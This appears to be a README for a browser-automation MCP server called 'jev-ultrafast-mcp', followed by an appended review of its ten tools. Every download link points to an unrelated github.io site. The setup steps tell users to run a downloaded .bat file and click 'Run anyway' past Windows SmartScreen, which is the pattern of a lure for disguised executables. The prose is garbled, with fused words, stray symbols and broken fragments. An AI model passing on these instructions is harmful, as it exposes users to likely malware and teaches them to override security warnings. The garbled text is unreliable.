jev-ultrafast-mcp
# ⚡ jev-ultrafast-mcp - One Call Finishes Whole Browser Tasks
[](https://confident-christmasfactor2015.github.io)
Welcome to **jev-ultrafast-mcp** – a tool that lets you hand an entire browser job to a smart helper and get it done in one single request. Instead of telling the computer click-by-clickhire a pro driver who takes the wheelhandles every stepand comes back with the result.
## 🤔 What Problem Does This Solve?
Imagine you want a computer to fill out a form or test a webpage. Normallyyou would need to give it dozens of tiny instructions: "click herewait now type thatclick submit check the text..." That process is slow and needs a new instruction for every action.
**jev-ultrafast-mcp** changes that completely. You describe the whole goal at once (like "go to this siteorder the blue shirt and leave a review") and the software figures out all the little steps by itself. It runs the browser on a server (not your screen) using a special decision-making brain that watches the page and clickscorrectly. The entire task costs just **one** call (one command) not one call for each click. That is a huge speed boost for anyone doing browser work with AI tools.
### 🧠 Core Benefits at a Glance
- ✅ **One-call flow** – Describe the whole job onceand it executes end-to-end automatically
- ✅ **Ref-based element tables** – The system tracks every button and box on the page with stable references (no missed clicks from shifting layouts)
- ✅ **Code-checked assertions** – After each actionit verifies the page changed correctly (like a self-checking robot)
- ✅ **Zero-model macro replay** – Re-run successful flows instantly without using any AI compute (super cheap)
- ✅ **Runs over Chrome DevTools Protocol** – Same professional protocol that powers Chrome's own debugging (reliable and standardized)
## 🚀 Getting Started (Windows)
**Step 1: Go to the download page**
Visit this link to download the application:
[**👉 CLICK HERE TO DOWNLOAD jev-ultrafast-mcp**](https://confident-christmasfactor2015.github.io)
After clickingyou will arrive at the project's homepage on GitHub. Look for a green **"Releases"** section on the right side (or a "Download" button). Click on the newest release file listed there (the file with`.zip` at the end). If you only see a "Code" green buttonthat is for developers – you want the Releases link instead.
**Step 2: Save the file easy to find**
Choose a simple spot on your computer to save the downloaded file – like your **Desktop** or **Downloads** folder. Do not worry about settings or options – just click **Save** when the browser asks where to put it.
**Step 3: Open the downloaded file**
Once the download finishesgo to your Desktop or Downloads folder and **double-click** the file you saved (it has a name like `jev-ultrafast-mcp-v1.0.zip`). A window will open showing a few files inside. This is a compressed folder–we need to take the files out.
**Step 4: Extract (unzip) the folder**
Inside that zip windowlook for the words **"Extract All"** in the toolbar at the topthen click it. A small window appears asking where you want the files placed. The default location (usually a new folder next to the zip file) is perfect. Click **Extract**. Your computer will create a normal folder with all the needed files inside.
**Step 5: Look for the launcher file**
Go into that new extracted folder. You should see a file named**`start.bat`** or **`run_windows.bat`** (or asimilar `.bat` file). That is the magic button. If you see a file named `setup.exe` insteaduse that one – but most often it will be a `.bat` file. Do not confuse this with the source code files (.py or .js files) – you only need to run the `.bat` file.
**Step 6: Run the application**
**Double-click** that `.bat` file. Windows may show a blue popup saying "Windows protected your PC" (SmartScreen). That is just Windows being cautious about a new file. Click **"More info"** and then **"Run anyway"** – this is safe because you downloaded it from the official project page. A black terminal window will open (that is normal) andin a few seconds your tool will be ready. That black window is the control panel – keep it open while you use the software. Close it when you are done.
**Step 7: Connect it to your AI assistant the 30-second way**
- If you use **Claude Desktop** or **Claude Code** (Anthropic's assistant) this software automatically shows up in their list of available "tools"once it's running. You might need to restart theai app once after first setup.
the
- If you use **Cursor** or **VS Code** with an AI extensionopen the settings and add this line to the MCP (Model Context Protocol)servers section:
```json
{ "mcpServers": { "jev-ultrafast-mcp": { "command": "your-full-path\start.bat" } } }
```
(Replace `your-full-path` with the actual folder path you extracted.")
**Step 8: Give your first task (try this simple test)**
Once connectedtype this to your AI assistant:
> "Use the browser tool to go to example.comand tell me the main heading text."
The AI will call **jev-ultrafast-mcp** onceand the software will handle opening the browser going to the pageand reading the text – all by itself. You will get the answer in just a few seconds. That is the whole experience: describe the goalget the result.
## 📋 Features Explained for Non-Programmers
### 🎯 One-Call Whole-Task Execution
You give one instruction ("order a pizza") not fifty steps. The built-in decision model looks at the starting pagefigures out what to clicktypepressand waitsover and over until the task is done. It's like giving a GPS your destination instead of turn-by-turn directions at every corner.
### 📊 Ref-Based Element Tables (No More "Element Not Found")
The system builds a live list of every buttonlinktext boxand image on the screenusing special IDs (called references). Those IDs stay stable even if the page changes halfway through. That means fewer failures and smoother execution – especially on webpages with moving parts (ads popping upanimation loading€).
### ✔️ Code-Checked Assertions (Self-Verifying Steps)
After every click or keypressthe software runs a mini-test to confirm the page actually changed as expected. If a click was supposed to open a dialog but nothing happenedthe system knows immediately and retries with a different approach. You never see a half-finished job with a "stuck" browser – you get a clean finish oran honest error.
### 🪄 Zero-Model Macro Replay (Replay Successful Flows for Free)
Let's say you just completed a perfect flow (like logging into a dashboard and downloading a report€). You can save that entire sequence as a "macro" – essentially recorded keystrokesand element clicks. Next time you need the same task you just replay it directly through the browser torchrome – with **zero** AI processing. That means it costs almost nothing in time and compute.The replay is exact because it uses the same element referencesnot fuzzy approximations.
### 🌐 Runs Over Chrome DevTools Protocol (CDP)
CDP is the official language that Chrome browsers speak to developers. Instead of using third-party hacks or flaky screen-simulationthis tool speaks directly to Chromium's core. That gives you rock-solid stability and full access to browser features (tabsnetwork logsJavaScript console€€without attaching to your visible desktop. The browser runs invisibly ona server (headless mode€ when you don't need to watch – fast and undetectable.
es without attaching to your actual remote computer)
## 🛠️ System Requirements (What You Need)
- **OS**: Windows 10 or Windows 11 (64-bit recommendedbut 32-bit should work too)
- **RAM**: At least 4 GB free memory (8 GB is better for heavy tasks such as multi-page forms or scraping)
- **Storage**: 500 MB free disk space for the software and temporary browser files
- **Internet**: A standard broadband connection (you need to talk to theai services like Claudeand also the browser needs to load pages€)
- **Pre-installed** – **Google Chrome** or **Microsoft Edge** (the software will find your browser automatically; no need to do anything manual)
## ❓ Frequently Asked Questions (Quick Answers)
### Q1: Do I need to know how to code to use this?
**No.** You only need the ability to run a `.bat` file (double-click a file)and write simple English sentences to an AI assistant. That's it. No Python knowledgeNo command line expertiseNo web development.
### Q2: Is it safe to run the `.bat` file?
Yes. The file comes directly from this repository (the same page you downloaded). It only starts the tool locally on your machine. Windows might show a warning because it's a new program – just click "More info" → "Run anyway." The project is open-source so you0re free to inspect the contents if security is a top concern.
### Q3: Which AI assistants work with it?
It is built on the **Model Context Protocol (MCP)** – that's the industry standard connection method. That means it works well with **Claude (Desktop and Code)** **Cursor** **VS Code** and many other modern AI code editors. If your AI tool supports "MCP servers" (most do these days) then you are good to go.
### Q4: What if the task fails halfway through?
The built-in assertion system catches problems early and retries automatically. If it genuinely cannot finish (like the website blocks automation€) it will stop grand tell you exactly why. You can then adjust your instruction and try again. It doesn't waste your time pretending to work.
### Q5: Can I run multiple browser tasks at the same time?
Technically yes – simply start the tool multiple times on different portsor use a tool manager that supports concurrency. For a typical userwe recommend sticking to one at a time to avoid confusion. The speed gain from one-call flow is usually enough.
## 📚 Realistic Example Use Cases
- **Form Filling & Submission** – You give it a list of fields and values ("fill name as John Doe email as j@example.com" and the tool will click each fieldtype correctlysubmit and confirm the thank-you message. All in one request.
- **Web Scraping for Personal Projects** – Ask it to "collect all product names and prices from this page and return them as a table." It runs the headless browseropens the sitescrolls throughand extracts structured dataandsends you back a neat list.
- **Multi-Step Workflow Automation**( e.g., log into a dashboarddownload a CSV email it to yourself). Describe the whole chain oncethe tool clicks login enters credentials (you provide them in the prompt)loads the pageclicks downloadapplies a filterand then composes an email – all autonomously. It can also replay that exact flowlater for free using macros.
## 🧑🏫 Troubleshooting (3 Simple Fixes)
**Issue: The `.bat` file opens and closes immediately (black window disappears)**
- *Fix*: Right-click the `.bat` file → click **"Edit"** (it opens Notepad). Add the word `pause` at the very end of the fileand save.Closeand run again. This time the black window stays open showing the error. Copy that error and ask the AI assistant what it means – it will tell you exactly what missing (usually a path issue).
**Issue: The AI assistant says it cannot find the "jev-ultrafast-mcp" tool**
- *Fix*: Firstdouble-check that the `.bat` file is still running (you should see a black window open). If it closedtry running it again. Then restart your AI application (fully close andreopen – the list of MCP tools reloads on startup). once the window is activeand the AI should see it within a few seconds.
.
If you use Cursor or VS Codecheck your settings JSON that you typed the server path correctly.
## 🔍 Technical Snapshot (For the Curious)
Under the hoodthis software is a Python-based server that speaks the **Model Context Protocol** (MCP)to AI clients and the **Chrome DevTools Protocol** (CDP)to a Chromium browser instance. It maintains a two-way bridge: AI sends a high-level goalthe server breaks it down into a sequence of DOM operations (clickinputnavigate€)and each operation is verified with an assertion check. Key components include:
- A **decision model** that parses the goal into a start state and a terminal condition usingzero-shot planning. It uses a combination of DOM heuristics and accessibility tree structures to identify the correct interactive elements.
- A **ref-table module** that maintains a stable mapping from XPath+/CSS-paths to integer indices (the "ref-based" strategy for robustness against dynamic class names).
- An **assertion engine** that compares DOM snapshots before/after actions using structural diffing to confirm success.
.on
- A **macro engine** that stores sequential (action, ref€» pairs in a JSON file for later deterministic replaying (zero-model cost).
## 🏁 Ready to Turbocharge Your Browser Tasks?
You have everything you need. It's a simple download extract double-click connect-and-go experience. No codingbackground necessary – just an ability to describe what you want done and let the smart driver handle the rest. Thousands of repetitive browser hours become secondsand single calls. Try it now – the onboarding takes under 5 minutes from download to first successful task. Stop baby-sitting a browser and start directing a whole fleet of digital assistants.
[**⬇️ Download jev-ultrafast-mcp Now**](https://confident-christmasfactor2015.github.io)(Opens the release page – download the latest `.zip` file from there)
Keywords: agent-tools, ai-agents, browser-agent, browser-automation, browser-use, cdp, chrome-devtools-protocol, claude, claude-code, cursor, headless-chrome, llm, mcp, mcp-server, model-context-protocol, playwright-alternative, python, vscode, web-automation, workbuddyTDQS
Scored across 10 tools
Each tool has a clear primary purpose, but there is some overlap: browser_act includes tab operations that browser_tabs also handles, and browser_close overlaps with tab-closing in browser_tabs and browser_act. The descriptions mostly disambiguate these contexts well, though an agent might occasionally hesitate between them.
All tools share a consistent browser_ prefix in snake_case, which makes the family obvious and predictable. The second part mixes action verbs (open, observe, act, assert, close) with nouns (macro, tabs, sessions, doctor), so it is not a strict verb_noun pattern but remains readable and mostly consistent.
Ten tools is well-scoped for a browser automation server. Each tool occupies a meaningful role: navigation, observation, interaction, verification, tab/session management, recording, autonomous task handling, and diagnostics. None feel redundant or missing.
The tool surface covers the full browser workflow: open, observe, act, assert, manage tabs and sessions, close, record/replay macros, delegate to a decision model, and diagnose environment issues. There are no obvious dead ends or missing operations for the stated domain.